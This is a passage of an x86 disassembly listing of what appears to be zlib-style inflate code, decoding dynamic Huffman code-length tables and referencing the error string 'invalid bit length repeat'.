08069728  ff 73 28              pushl   0x28(%ebx)
0806972b  ff 53 20              call    *0x20(%ebx)
0806972e  83 c4 10              add     $0x10,%esp
08069731  8b 55 08              mov     0x8(%ebp),%edx
08069734  85 c0                 test    %eax,%eax
08069736  89 42 0c              mov     %eax,0xc(%edx)
08069739  0f 84 d1 fa ff ff     je      08069210 <Unknown0437+0x110>  ;-1327 'xd1 xfa xff xff' ""
0806973f  c1 ef 0e              shr     $0xe,%edi
08069742  83 ee 0e              sub     $0xe,%esi
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08069745  c7 42 08 00 00 00 00    movl    $0x0,0x8(%edx)   ;0 'x0 x0 x0 x0' ""
0806974c  c7 02 04 00 00 00       movl    $0x4,(%edx)   ;4 'x4 x0 x0 x0' ""
08069752  8b 4d 08                mov     0x8(%ebp),%ecx
08069755  8b 41 04                mov     0x4(%ecx),%eax
08069758  c1 e8 0a                shr     $0xa,%eax
0806975b  8d 50 04                lea     0x4(%eax),%edx
0806975e  8b 41 08                mov     0x8(%ecx),%eax
08069761  39 d0                   cmp     %edx,%eax
08069763  89 45 b4                mov     %eax,0xffffffb4(%ebp)
08069766  0f 83 9c 00 00 00       jae     08069808 <Unknown0437+0x708>   ;156 'x9c x0 x0 x0' ""
0806976c  83 fe 02                cmp     $0x2,%esi
0806976f  77 5e                   ja      080697cf <Unknown0437+0x6cf>
08069771  8d 76 00                lea     0x0(%esi),%esi
08069774  8b 45 cc                mov     0xffffffcc(%ebp),%eax
08069777  85 c0                   test    %eax,%eax
08069779  74 09                   je      08069784 <Unknown0437+0x684>
0806977b  c7 45 10 00 00 00 00    movl    $0x0,0x10(%ebp)   ;0 'x0 x0 x0 x0' ""
08069782  eb 30                   jmp     080697b4 <Unknown0437+0x6b4>
08069784  8b 55 08                mov     0x8(%ebp),%edx
08069787  8b 4d 0c                mov     0xc(%ebp),%ecx
0806978a  89 7a 20                mov     %edi,0x20(%edx)
0806978d  89 72 1c                mov     %esi,0x1c(%edx)
08069790  c7 41 04 00 00 00 00    movl    $0x0,0x4(%ecx)   ;0 'x0 x0 x0 x0' ""
08069797  8b 45 d0                mov     0xffffffd0(%ebp),%eax
0806979a  2b 01                   sub     (%ecx),%eax
0806979c  01 41 08                add     %eax,0x8(%ecx)
0806979f  8b 5d d0                mov     0xffffffd0(%ebp),%ebx
080697a2  89 19                   mov     %ebx,(%ecx)
080697a4  8b 45 c8                mov     0xffffffc8(%ebp),%eax
080697a7  89 42 30                mov     %eax,0x30(%edx)
080697aa  53                      push    %ebx
080697ab  ff 75 10                pushl   0x10(%ebp)
080697ae  51                      push    %ecx
080697af  e9 0d 04 00 00          jmp     08069bc1 <Unknown0437+0xac1>   ;1037 'xd x4 x0 x0' ""
080697b4  8b 55 d0                mov     0xffffffd0(%ebp),%edx
080697b7  ff 4d cc                decl    0xffffffcc(%ebp)
080697ba  0f b6 02                movzbl  (%edx),%eax
080697bd  89 f1                   mov     %esi,%ecx
080697bf  d3 e0                   shl     %cl,%eax
080697c1  83 c6 08                add     $0x8,%esi
080697c4  42                      inc     %edx
080697c5  09 c7                   or      %eax,%edi
080697c7  83 fe 02                cmp     $0x2,%esi
080697ca  89 55 d0                mov     %edx,0xffffffd0(%ebp)
080697cd  76 a5                   jbe     08069774 <Unknown0437+0x674>
080697cf  8b 5d 08                mov     0x8(%ebp),%ebx
080697d2  8b 43 08                mov     0x8(%ebx),%eax
080697d5  8b 0c 85 e0 95 07 08    mov     0x80795e0(,%eax,4),%ecx   ;[in .data] 16 'x10 x0 x0 x0' ""
080697dc  89 f8                   mov     %edi,%eax
080697de  83 e0 07                and     $0x7,%eax
080697e1  8b 53 0c                mov     0xc(%ebx),%edx
080697e4  89 04 8a                mov     %eax,(%edx,%ecx,4)
080697e7  8b 43 04                mov     0x4(%ebx),%eax
080697ea  8b 53 08                mov     0x8(%ebx),%edx
080697ed  c1 e8 0a                shr     $0xa,%eax
080697f0  42                      inc     %edx
080697f1  83 c0 04                add     $0x4,%eax
080697f4  c1 ef 03                shr     $0x3,%edi
080697f7  83 ee 03                sub     $0x3,%esi
080697fa  39 c2                   cmp     %eax,%edx
080697fc  89 53 08                mov     %edx,0x8(%ebx)
080697ff  0f 82 67 ff ff ff       jb      0806976c <Unknown0437+0x66c>   ;-153 'x67 xff xff xff' "g"
08069805  89 55 b4                mov     %edx,0xffffffb4(%ebp)
08069808  8b 45 b4                mov     0xffffffb4(%ebp),%eax
0806980b  83 f8 12                cmp     $0x12,%eax
0806980e  77 24                   ja      08069834 <Unknown0437+0x734>
08069810  b9 e0 95 07 08          mov     $0x80795e0,%ecx   ;[in .data] 16 'x10 x0 x0 x0' ""
08069815  8d 76 00                lea     0x0(%esi),%esi
08069818  8b 5d 08                mov     0x8(%ebp),%ebx
0806981b  8b 14 81                mov     (%ecx,%eax,4),%edx
0806981e  8b 43 0c                mov     0xc(%ebx),%eax
08069821  c7 04 90 00 00 00 00    movl    $0x0,(%eax,%edx,4)   ;0 'x0 x0 x0 x0' ""
08069828  8b 43 08                mov     0x8(%ebx),%eax
0806982b  40                      inc     %eax
0806982c  83 f8 12                cmp     $0x12,%eax
0806982f  89 43 08                mov     %eax,0x8(%ebx)
08069832  76 e4                   jbe     08069818 <Unknown0437+0x718>
08069834  8b 45 08                mov     0x8(%ebp),%eax
08069837  c7 40 10 07 00 00 00    movl    $0x7,0x10(%eax)   ;7 'x7 x0 x0 x0' ""
0806983e  8b 45 08                mov     0x8(%ebp),%eax
08069841  ff 75 0c                pushl   0xc(%ebp)
08069844  83 c0 14                add     $0x14,%eax
08069847  50                      push    %eax
08069848  8b 45 08                mov     0x8(%ebp),%eax
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0806984b  83 c0 10              add     $0x10,%eax
0806984e  50                    push    %eax
0806984f  8b 55 08              mov     0x8(%ebp),%edx
08069852  ff 72 0c              pushl   0xc(%edx)
08069855  e8 26 0c 00 00        call    0806a480 <Unknown0441>
0806985a  89 c3                 mov     %eax,%ebx
0806985c  83 c4 10              add     $0x10,%esp
0806985f  85 db                 test    %ebx,%ebx
08069861  74 45                 je      080698a8 <Unknown0437+0x7a8>
08069863  83 fb fd              cmp     $0xfffffffd,%ebx
08069866  89 5d 10              mov     %ebx,0x10(%ebp)
08069869  75 09                 jne     08069874 <Unknown0437+0x774>
0806986b  8b 4d 08              mov     0x8(%ebp),%ecx
0806986e  c7 01 09 00 00 00     movl    $0x9,(%ecx)     ;9 'x9 x0 x0 x0' ""
08069874  8b 5d 08              mov     0x8(%ebp),%ebx
08069877  89 7b 20              mov     %edi,0x20(%ebx)
0806987a  89 73 1c              mov     %esi,0x1c(%ebx)
0806987d  8b 55 cc              mov     0xffffffcc(%ebp),%edx
08069880  8b 45 0c              mov     0xc(%ebp),%eax
08069883  89 50 04              mov     %edx,0x4(%eax)
08069886  8b 4d 0c              mov     0xc(%ebp),%ecx
08069889  8b 45 d0              mov     0xffffffd0(%ebp),%eax
0806988c  2b 01                 sub     (%ecx),%eax
0806988e  01 41 08              add     %eax,0x8(%ecx)
08069891  8b 5d d0              mov     0xffffffd0(%ebp),%ebx
08069894  89 19                 mov     %ebx,(%ecx)
08069896  8b 55 c8              mov     0xffffffc8(%ebp),%edx
08069899  8b 45 08              mov     0x8(%ebp),%eax
0806989c  89 50 30              mov     %edx,0x30(%eax)
0806989f  52                    push    %edx
080698a0  ff 75 10              pushl   0x10(%ebp)
080698a3  e9 c2 04 00 00        jmp     08069d6a <Unknown0437+0xc6a>  ;1218 'xc2 x4 x0 x0' ""
080698a8  8b 4d 08              mov     0x8(%ebp),%ecx
080698ab  c7 41 08 00 00 00 00  movl    $0x0,0x8(%ecx)   ;0 'x0 x0 x0 x0' ""
080698b2  c7 01 05 00 00 00     movl    $0x5,(%ecx)     ;5 'x5 x0 x0 x0' ""
080698b8  8b 45 08              mov     0x8(%ebp),%eax
080698bb  8b 58 04              mov     0x4(%eax),%ebx
080698be  89 d8                 mov     %ebx,%eax
080698c0  c1 e8 05              shr     $0x5,%eax
080698c3  89 da                 mov     %ebx,%edx
080698c5  83 e0 1f              and     $0x1f,%eax
080698c8  83 e2 1f              and     $0x1f,%edx
080698cb  8d 94 10 02 01 00 00  lea     0x102(%eax,%edx,1),%edx  ;258 'x2 x1 x0 x0' ""
080698d2  89 5d b8              mov     %ebx,0xffffffb8(%ebp)
080698d5  8b 45 08              mov     0x8(%ebp),%eax
080698d8  8b 40 08              mov     0x8(%eax),%eax
080698db  39 d0                 cmp     %edx,%eax
080698dd  89 45 b4              mov     %eax,0xffffffb4(%ebp)
080698e0  0f 83 39 02 00 00     jae     08069b1f <Unknown0437+0xa1f>  ;569 'x39 x2 x0 x0' "9"
080698e6  89 f6                 mov     %esi,%esi
080698e8  8b 55 08              mov     0x8(%ebp),%edx
080698eb  8b 5a 10              mov     0x10(%edx),%ebx
080698ee  39 de                 cmp     %ebx,%esi
080698f0  73 5b                 jae     0806994d <Unknown0437+0x84d>
080698f2  89 f6                 mov     %esi,%esi
080698f4  8b 45 cc              mov     0xffffffcc(%ebp),%eax
080698f7  85 c0                 test    %eax,%eax
080698f9  74 09                 je      08069904 <Unknown0437+0x804>
080698fb  c7 45 10 00 00 00 00  movl    $0x0,0x10(%ebp)   ;0 'x0 x0 x0 x0' ""
08069902  eb 30                 jmp     08069934 <Unknown0437+0x834>
08069904  8b 4d 08              mov     0x8(%ebp),%ecx
08069907  8b 5d 0c              mov     0xc(%ebp),%ebx
0806990a  89 71 1c              mov     %esi,0x1c(%ecx)
0806990d  89 79 20              mov     %edi,0x20(%ecx)
08069910  c7 43 04 00 00 00 00  movl    $0x0,0x4(%ebx)   ;0 'x0 x0 x0 x0' ""
08069917  8b 45 d0              mov     0xffffffd0(%ebp),%eax
0806991a  2b 03                 sub     (%ebx),%eax
0806991c  01 43 08              add     %eax,0x8(%ebx)
0806991f  8b 45 d0              mov     0xffffffd0(%ebp),%eax
08069922  89 03                 mov     %eax,(%ebx)
08069924  8b 55 c8              mov     0xffffffc8(%ebp),%edx
08069927  89 51 30              mov     %edx,0x30(%ecx)
0806992a  56                    push    %esi
0806992b  ff 75 10              pushl   0x10(%ebp)
0806992e  53                    push    %ebx
0806992f  e9 6b 04 00 00        jmp     08069d9f <Unknown0437+0xc9f>  ;1131 'x6b x4 x0 x0' "k"
08069934  8b 4d d0              mov     0xffffffd0(%ebp),%ecx
08069937  ff 4d cc              decl    0xffffffcc(%ebp)
0806993a  0f b6 01              movzbl  (%ecx),%eax
0806993d  89 f1                 mov     %esi,%ecx
0806993f  d3 e0                 shl     %cl,%eax
08069941  83 c6 08              add     $0x8,%esi
08069944  09 c7                 or      %eax,%edi
08069946  ff 45 d0              incl    0xffffffd0(%ebp)
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08069949   39 de                    cmp     %ebx,%esi
0806994b   72 a7                    jb      080698f4 <Unknown0437+0x7f4>
0806994d   89 f8                    mov     %edi,%eax
0806994f   23 04 9d 80 98 07 08     and     0x8079880(,%ebx,4),%eax   ;[in .data] 0 'x0 x0 x0 x0' ""
08069956   8b 5d 08                 mov     0x8(%ebp),%ebx
08069959   8b 53 14                 mov     0x14(%ebx),%edx
0806995c   8d 04 c2                 lea     (%edx,%eax,8),%eax
0806995f   0f b6 58 01              movzbl  0x1(%eax),%ebx
08069963   8b 40 04                 mov     0x4(%eax),%eax
08069966   83 f8 0f                 cmp     $0xf,%eax
08069969   89 45 bc                 mov     %eax,0xffffffbc(%ebp)
0806996c   77 1e                    ja      0806998c <Unknown0437+0x88c>
0806996e   88 d9                    mov     %bl,%cl
08069970   29 de                    sub     %ebx,%esi
08069972   8b 5d 08                 mov     0x8(%ebp),%ebx
08069975   8b 55 b4                 mov     0xffffffb4(%ebp),%edx
08069978   d3 ef                    shr     %cl,%edi
0806997a   8b 43 0c                 mov     0xc(%ebx),%eax
0806997d   8b 4d bc                 mov     0xffffffbc(%ebp),%ecx
08069980   89 0c 90                 mov     %ecx,(%eax,%edx,4)
08069983   ff 43 08                 incl    0x8(%ebx)
08069986   e9 66 01 00 00           jmp     08069af1 <Unknown0437+0x9f1>   ;358 'x66 x1 x0 x0' "f"
0806998b   90                       nop
0806998c   83 7d bc 12              cmpl    $0x12,0xffffffbc(%ebp)
08069990   c7 45 c0 07 00 00 00     movl    $0x7,0xffffffc0(%ebp)   ;7 'x7 x0 x0 x0' ""
08069997   74 09                    je      080699a2 <Unknown0437+0x8a2>
08069999   8b 45 bc                 mov     0xffffffbc(%ebp),%eax
0806999c   83 e8 0e                 sub     $0xe,%eax
0806999f   89 45 c0                 mov     %eax,0xffffffc0(%ebp)
080699a2   31 c0                    xor     %eax,%eax
080699a4   83 7d bc 12              cmpl    $0x12,0xffffffbc(%ebp)
080699a8   0f 94 c0                 sete    %al
080699ab   8d 04 c5 03 00 00 00     lea     0x3(,%eax,8),%eax   ;3 'x3 x0 x0 x0' ""
080699b2   8b 55 c0                 mov     0xffffffc0(%ebp),%edx
080699b5   89 45 b0                 mov     %eax,0xffffffb0(%ebp)
080699b8   8d 04 1a                 lea     (%edx,%ebx,1),%eax
080699bb   39 c6                    cmp     %eax,%esi
080699bd   73 60                    jae     08069a1f <Unknown0437+0x91f>
080699bf   90                       nop
080699c0   8b 4d cc                 mov     0xffffffcc(%ebp),%ecx
080699c3   85 c9                    test    %ecx,%ecx
080699c5   74 09                    je      080699d0 <Unknown0437+0x8d0>
080699c7   c7 45 10 00 00 00 00     movl    $0x0,0x10(%ebp)   ;0 'x0 x0 x0 x0' ""
080699ce   eb 30                    jmp     08069a00 <Unknown0437+0x900>
080699d0   8b 4d 08                 mov     0x8(%ebp),%ecx
080699d3   8b 5d 0c                 mov     0xc(%ebp),%ebx
080699d6   89 79 20                 mov     %edi,0x20(%ecx)
080699d9   89 71 1c                 mov     %esi,0x1c(%ecx)
080699dc   c7 43 04 00 00 00 00     movl    $0x0,0x4(%ebx)   ;0 'x0 x0 x0 x0' ""
080699e3   8b 45 d0                 mov     0xffffffd0(%ebp),%eax
080699e6   2b 03                    sub     (%ebx),%eax
080699e8   01 43 08                 add     %eax,0x8(%ebx)
080699eb   8b 45 d0                 mov     0xffffffd0(%ebp),%eax
080699ee   89 03                    mov     %eax,(%ebx)
080699f0   8b 55 c8                 mov     0xffffffc8(%ebp),%edx
080699f3   89 51 30                 mov     %edx,0x30(%ecx)
080699f6   52                       push    %edx
080699f7   ff 75 10                 pushl   0x10(%ebp)
080699fa   53                       push    %ebx
080699fb   e9 9f 03 00 00           jmp     08069d9f <Unknown0437+0xc9f>   ;927 'x9f x3 x0 x0' ""
08069a00   8b 4d d0                 mov     0xffffffd0(%ebp),%ecx
08069a03   ff 4d cc                 decl    0xffffffcc(%ebp)
08069a06   0f b6 01                 movzbl  (%ecx),%eax
08069a09   89 f1                    mov     %esi,%ecx
08069a0b   d3 e0                    shl     %cl,%eax
08069a0d   8b 55 c0                 mov     0xffffffc0(%ebp),%edx
08069a10   09 c7                    or      %eax,%edi
08069a12   83 c6 08                 add     $0x8,%esi
08069a15   8d 04 1a                 lea     (%edx,%ebx,1),%eax
08069a18   ff 45 d0                 incl    0xffffffd0(%ebp)
08069a1b   39 c6                    cmp     %eax,%esi
08069a1d   72 a1                    jb      080699c0 <Unknown0437+0x8c0>
08069a1f   88 d9                    mov     %bl,%cl
08069a21   d3 ef                    shr     %cl,%edi
08069a23   29 de                    sub     %ebx,%esi
08069a25   89 f8                    mov     %edi,%eax
08069a27   8b 5d c0                 mov     0xffffffc0(%ebp),%ebx
08069a2a   23 04 9d 80 98 07 08     and     0x8079880(,%ebx,4),%eax   ;[in .data] 0 'x0 x0 x0 x0' ""
08069a31   29 de                    sub     %ebx,%esi
08069a33   8b 5d b4                 mov     0xffffffb4(%ebp),%ebx
08069a36   8a 4d c0                 mov     0xffffffc0(%ebp),%cl
08069a39   89 5d c0                 mov     %ebx,0xffffffc0(%ebp)
08069a3c   8b 5d b8                 mov     0xffffffb8(%ebp),%ebx
08069a3f   01 45 b0                 add     %eax,0xffffffb0(%ebp)
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08069a42   89 d8                  mov     %ebx,%eax
08069a44   c1 e8 05               shr     $0x5,%eax
08069a47   83 e0 1f               and     $0x1f,%eax
08069a4a   83 e3 1f               and     $0x1f,%ebx
08069a4d   8b 55 b4               mov     0xffffffb4(%ebp),%edx
08069a50   03 55 b0               add     0xffffffb0(%ebp),%edx
08069a53   8d 84 18 02 01 00 00   lea     0x102(%eax,%ebx,1),%eax   ;258 'x2 x1 x0 x0' ""
08069a5a   d3 ef                  shr     %cl,%edi
08069a5c   39 c2                  cmp     %eax,%edx
08069a5e   77 0d                  ja      08069a6d <Unknown0437+0x96d>
08069a60   83 7d bc 10            cmpl    $0x10,0xffffffbc(%ebp)
08069a64   75 4a                  jne     08069ab0 <Unknown0437+0x9b0>
08069a66   8b 45 b4               mov     0xffffffb4(%ebp),%eax
08069a69   85 c0                  test    %eax,%eax
08069a6b   75 43                  jne     08069ab0 <Unknown0437+0x9b0>
08069a6d   8b 45 08               mov     0x8(%ebp),%eax
08069a70   8b 55 0c               mov     0xc(%ebp),%edx
08069a73   c7 00 09 00 00 00      movl    $0x9,(%eax)   ;9 'x9 x0 x0 x0' ""
08069a79   89 78 20               mov     %edi,0x20(%eax)
08069a7c   89 70 1c               mov     %esi,0x1c(%eax)
08069a7f   c7 42 18 84 69 07 08   movl    $0x8076984,0x18(%edx)   ;[in .rodata] 1635151465 'x69 x6e x76 x61'
                                                                   "invalid bit length repeat"
08069a86   8b 4d cc               mov     0xffffffcc(%ebp),%ecx
08069a89   89 4a 04               mov     %ecx,0x4(%edx)
08069a8c   8b 45 d0               mov     0xffffffd0(%ebp),%eax
08069a8f   2b 02                  sub     (%edx),%eax
08069a91   01 42 08               add     %eax,0x8(%edx)
08069a94   8b 5d d0               mov     0xffffffd0(%ebp),%ebx
08069a97   89 1a                  mov     %ebx,(%edx)
08069a99   8b 45 08               mov     0x8(%ebp),%eax
08069a9c   8b 55 c8               mov     0xffffffc8(%ebp),%edx
08069a9f   89 50 30               mov     %edx,0x30(%eax)
08069aa2   57                     push    %edi
08069aa3   6a fd                  push    $0xfffffffd
08069aa5   ff 75 0c               pushl   0xc(%ebp)
08069aa8   e9 be 02 00 00         jmp     08069d6b <Unknown0437+0xc6b>   ;702 'xbe x2 x0 x0' ""
08069aad   8d 76 00               lea     0x0(%esi),%esi
08069ab0   83 7d bc 10            cmpl    $0x10,0xffffffbc(%ebp)
08069ab4   75 12                  jne     08069ac8 <Unknown0437+0x9c8>
08069ab6   8b 4d 08               mov     0x8(%ebp),%ecx
08069ab9   8b 41 0c               mov     0xc(%ecx),%eax
08069abc   8b 5d c0               mov     0xffffffc0(%ebp),%ebx
08069abf   8b 54 98 fc            mov     0xfffffffc(%eax,%ebx,4),%edx
08069ac3   eb 17                  jmp     08069adc <Unknown0437+0x9dc>
08069ac5   8d 76 00               lea     0x0(%esi),%esi
08069ac8   8b 4d 08               mov     0x8(%ebp),%ecx
08069acb   31 d2                  xor     %edx,%edx
08069acd   8b 41 0c               mov     0xc(%ecx),%eax
08069ad0   eb 0a                  jmp     08069adc <Unknown0437+0x9dc>
08069ad2   89 f6                  mov     %esi,%esi
08069ad4   8b 5d 08               mov     0x8(%ebp),%ebx
08069ad7   8b 43 0c               mov     0xc(%ebx),%eax
08069ada   89 f6                  mov     %esi,%esi
08069adc   8b 4d c0               mov     0xffffffc0(%ebp),%ecx
08069adf   89 14 88               mov     %edx,(%eax,%ecx,4)
08069ae2   41                     inc     %ecx
08069ae3   ff 4d b0               decl    0xffffffb0(%ebp)
08069ae6   89 4d c0               mov     %ecx,0xffffffc0(%ebp)
08069ae9   75 e9                  jne     08069ad4 <Unknown0437+0x9d4>
08069aeb   8b 5d 08               mov     0x8(%ebp),%ebx
08069aee   89 4b 08               mov     %ecx,0x8(%ebx)
08069af1   8b 45 08               mov     0x8(%ebp),%eax
08069af4   8b 58 04               mov     0x4(%eax),%ebx
08069af7   89 da                  mov     %ebx,%edx
08069af9   c1 ea 05               shr     $0x5,%edx
08069afc   89 d8                  mov     %ebx,%eax
08069afe   83 e2 1f               and     $0x1f,%edx
08069b01   83 e0 1f               and     $0x1f,%eax
08069b04   89 5d b8               mov     %ebx,0xffffffb8(%ebp)
08069b07   8b 4d 08               mov     0x8(%ebp),%ecx
08069b0a   8d 84 02 02 01 00 00   lea     0x102(%edx,%eax,1),%eax   ;258 'x2 x1 x0 x0' ""
08069b11   8b 51 08               mov     0x8(%ecx),%edx
08069b14   39 c2                  cmp     %eax,%edx
08069b16   89 55 b4               mov     %edx,0xffffffb4(%ebp)
08069b19   0f 82 c9 fd ff ff      jb      080698e8 <Unknown0437+0x7e8>   ;-567 'xc9 xfd xff xff' ""
08069b1f   83 ec 08               sub     $0x8,%esp
08069b22   ff 75 0c               pushl   0xc(%ebp)
08069b25   8b 5d 08               mov     0x8(%ebp),%ebx
08069b28   ff 73 14               pushl   0x14(%ebx)
08069b2b   e8 24 0c 00 00         call    0806a754 <Unknown0445>
08069b30   c7 43 14 00 00 00 00   movl    $0x0,0x14(%ebx)   ;0 'x0 x0 x0 x0' ""
08069b37   8b 45 08               mov     0x8(%ebp),%eax
08069b3a   8b 58 04               mov     0x4(%eax),%ebx
08069b3d   ff 75 0c               pushl   0xc(%ebp)
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08069b40   8d 45 e0                lea     0xffffffe0(%ebp),%eax
08069b43   50                      push    %eax
08069b44   8d 45 dc                lea     0xffffffdc(%ebp),%eax
08069b47   50                      push    %eax
08069b48   8d 45 d8                lea     0xffffffd8(%ebp),%eax
08069b4b   50                      push    %eax
08069b4c   8d 45 d4                lea     0xffffffd4(%ebp),%eax
08069b4f   50                      push    %eax
08069b50   89 d8                   mov     %ebx,%eax
08069b52   c1 e8 05                shr     $0x5,%eax
08069b55   8b 55 08                mov     0x8(%ebp),%edx
08069b58   83 e0 1f                and     $0x1f,%eax
08069b5b   ff 72 0c                pushl   0xc(%edx)
08069b5e   40                      inc     %eax
08069b5f   83 e3 1f                and     $0x1f,%ebx
08069b62   50                      push    %eax
08069b63   8d 83 01 01 00 00       lea     0x101(%ebx),%eax   ;257 'x1 x1 x0 x0' ""
08069b69   50                      push    %eax
08069b6a   c7 45 d4 09 00 00 00    movl    $0x9,0xffffffd4(%ebp)   ;9 'x9 x0 x0 x0' ""
08069b71   c7 45 d8 06 00 00 00    movl    $0x6,0xffffffd8(%ebp)   ;6 'x6 x0 x0 x0' ""
08069b78   e8 5f 09 00 00          call    0806a4dc <Unknown0442>
08069b7d   89 c3                   mov     %eax,%ebx
08069b7f   83 c4 30                add     $0x30,%esp
08069b82   85 db                   test    %ebx,%ebx
08069b84   74 46                   je      08069bcc <Unknown0437+0xacc>
08069b86   83 fb fd                cmp     $0xfffffffd,%ebx
08069b89   75 09                   jne     08069b94 <Unknown0437+0xa94>
08069b8b   8b 4d 08                mov     0x8(%ebp),%ecx
08069b8e   c7 01 09 00 00 00       movl    $0x9,(%ecx)   ;9 'x9 x0 x0 x0' ""
08069b94   8b 45 08                mov     0x8(%ebp),%eax
08069b97   89 70 1c                mov     %esi,0x1c(%eax)
08069b9a   89 78 20                mov     %edi,0x20(%eax)
08069b9d   8b 55 0c                mov     0xc(%ebp),%edx
08069ba0   8b 4d cc                mov     0xffffffcc(%ebp),%ecx
08069ba3   89 4a 04                mov     %ecx,0x4(%edx)
08069ba6   8b 45 d0                mov     0xffffffd0(%ebp),%eax
08069ba9   2b 02                   sub     (%edx),%eax
08069bab   01 42 08                add     %eax,0x8(%edx)
08069bae   8b 45 d0                mov     0xffffffd0(%ebp),%eax
08069bb1   89 02                   mov     %eax,(%edx)
08069bb3   8b 4d c8                mov     0xffffffc8(%ebp),%ecx
08069bb6   8b 55 08                mov     0x8(%ebp),%edx
08069bb9   89 4a 30                mov     %ecx,0x30(%edx)
08069bbc   56                      push    %esi
08069bbd   53                      push    %ebx
08069bbe   ff 75 0c                pushl   0xc(%ebp)
08069bc1   52                      push    %edx
08069bc2   e8 d9 13 00 00          call    0806afa0 <Unknown0449>
08069bc7   e9 10 02 00 00          jmp     08069ddc <Unknown0437+0xcdc>   ;528 'x10 x2 x0 x0' ""
08069bcc   83 ec 0c                sub     $0xc,%esp
08069bcf   ff 75 0c                pushl   0xc(%ebp)
08069bd2   ff 75 e0                pushl   0xffffffe0(%ebp)
08069bd5   ff 75 dc                pushl   0xffffffdc(%ebp)
08069bd8   ff 75 d8                pushl   0xffffffd8(%ebp)
08069bdb   ff 75 d4                pushl   0xffffffd4(%ebp)
08069bde   e8 b9 0b 00 00          call    0806a79c <Unknown0446>
08069be3   89 c3                   mov     %eax,%ebx
08069be5   83 c4 20                add     $0x20,%esp
08069be8   85 db                   test    %ebx,%ebx
08069bea   0f 84 54 f6 ff ff       je      08069244 <Unknown0437+0x144>   ;-2476 'x54 xf6 xff xff' "T"
08069bf0   83 ec 08                sub     $0x8,%esp
08069bf3   8b 45 08                mov     0x8(%ebp),%eax
08069bf6   ff 70 0c                pushl   0xc(%eax)
08069bf9   8b 55 0c                mov     0xc(%ebp),%edx
08069bfc   ff 72 28                pushl   0x28(%edx)
08069bff   ff 52 24                call    *0x24(%edx)
08069c02   8b 4d 08                mov     0x8(%ebp),%ecx
08069c05   8b 45 dc                mov     0xffffffdc(%ebp),%eax
08069c08   89 41 04                mov     %eax,0x4(%ecx)
08069c0b   8b 45 e0                mov     0xffffffe0(%ebp),%eax
08069c0e   89 59 0c                mov     %ebx,0xc(%ecx)
08069c11   89 41 08                mov     %eax,0x8(%ecx)
08069c14   c7 01 06 00 00 00       movl    $0x6,(%ecx)   ;6 'x6 x0 x0 x0' ""
08069c1a   83 c4 10                add     $0x10,%esp
08069c1d   8b 5d 08                mov     0x8(%ebp),%ebx
08069c20   89 7b 20                mov     %edi,0x20(%ebx)
08069c23   89 73 1c                mov     %esi,0x1c(%ebx)
08069c26   8b 55 cc                mov     0xffffffcc(%ebp),%edx
08069c29   8b 45 0c                mov     0xc(%ebp),%eax
08069c2c   89 50 04                mov     %edx,0x4(%eax)
08069c2f   8b 4d 0c                mov     0xc(%ebp),%ecx
08069c32   8b 45 d0                mov     0xffffffd0(%ebp),%eax
08069c35   2b 01                   sub     (%ecx),%eax
08069c37   01 41 08                add     %eax,0x8(%ecx)
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08069c3a  8b 5d d0              mov     0xffffffd0(%ebp),%ebx
08069c3d  89 19                 mov     %ebx,(%ecx)
08069c3f  8b 45 08              mov     0x8(%ebp),%eax
08069c42  8b 55 c8              mov     0xffffffc8(%ebp),%edx
08069c45  89 50 30              mov     %edx,0x30(%eax)
08069c48  53                    push    %ebx
08069c49  ff 75 10              pushl   0x10(%ebp)
08069c4c  51                    push    %ecx
08069c4d  50                    push    %eax
08069c4e  e8 89 0b 00 00        call    0806a7dc <Unknown0447>
08069c53  89 45 10              mov     %eax,0x10(%ebp)
08069c56  83 c4 10              add     $0x10,%esp
08069c59  48                    dec     %eax
08069c5a  0f 85 30 f6 ff ff     jne     08069290 <Unknown0437+0x190>  ;-2512 'x30 xf6 xff xff' "0"
08069c60  83 ec 08              sub     $0x8,%esp
08069c63  8b 4d 08              mov     0x8(%ebp),%ecx
08069c66  ff 75 0c              pushl   0xc(%ebp)
08069c69  ff 71 0c              pushl   0xc(%ecx)
08069c6c  c7 45 10 00 00 00 00  movl    $0x0,0x10(%ebp)   ;0 'x0 x0 x0 x0' ""
08069c73  e8 14 13 00 00        call    0806af8c <Unknown0448>
08069c78  58                    pop     %eax
08069c79  5a                    pop     %edx
08069c7a  8b 5d 08              mov     0x8(%ebp),%ebx
08069c7d  ff 75 0c              pushl   0xc(%ebp)
08069c80  ff 73 08              pushl   0x8(%ebx)
08069c83  e8 cc 0a 00 00        call    0806a754 <Unknown0445>
08069c88  5e                    pop     %esi
08069c89  5f                    pop     %edi
08069c8a  ff 75 0c              pushl   0xc(%ebp)
08069c8d  ff 73 04              pushl   0x4(%ebx)
08069c90  e8 bf 0a 00 00        call    0806a754 <Unknown0445>
08069c95  8b 45 0c              mov     0xc(%ebp),%eax
08069c98  8b 00                 mov     (%eax),%eax
08069c9a  89 45 d0              mov     %eax,0xffffffd0(%ebp)
08069c9d  8b 45 0c              mov     0xc(%ebp),%eax
08069ca0  8b 40 04              mov     0x4(%eax),%eax
08069ca3  89 45 cc              mov     %eax,0xffffffcc(%ebp)
08069ca6  8b 43 30              mov     0x30(%ebx),%eax
08069ca9  8b 7b 20              mov     0x20(%ebx),%edi
08069cac  8b 73 1c              mov     0x1c(%ebx),%esi
08069caf  89 45 c8              mov     %eax,0xffffffc8(%ebp)
08069cb2  8b 43 2c              mov     0x2c(%ebx),%eax
08069cb5  83 c4 10              add     $0x10,%esp
08069cb8  39 45 c8              cmp     %eax,0xffffffc8(%ebp)
08069cbb  73 07                 jae     08069cc4 <Unknown0437+0xbc4>
08069cbd  2b 45 c8              sub     0xffffffc8(%ebp),%eax
08069cc0  48                    dec     %eax
08069cc1  eb 0c                 jmp     08069ccf <Unknown0437+0xbcf>
08069cc3  90                    nop
08069cc4  8b 45 08              mov     0x8(%ebp),%eax
08069cc7  8b 40 28              mov     0x28(%eax),%eax
08069cca  8b 55 c8              mov     0xffffffc8(%ebp),%edx
08069ccd  29 d0                 sub     %edx,%eax
08069ccf  89 45 c4              mov     %eax,0xffffffc4(%ebp)
08069cd2  8b 4d 08              mov     0x8(%ebp),%ecx
08069cd5  8b 59 18              mov     0x18(%ecx),%ebx
08069cd8  85 db                 test    %ebx,%ebx
08069cda  75 0c                 jne     08069ce8 <Unknown0437+0xbe8>
08069cdc  c7 01 00 00 00 00     movl    $0x0,(%ecx)      ;0 'x0 x0 x0 x0' ""
08069ce2  e9 01 f6 ff ff        jmp     080692e8 <Unknown0437+0x1e8>  ;-2559 'x1 xf6 xff xff' ""
08069ce7  90                    nop
08069ce8  83 fe 07              cmp     $0x7,%esi
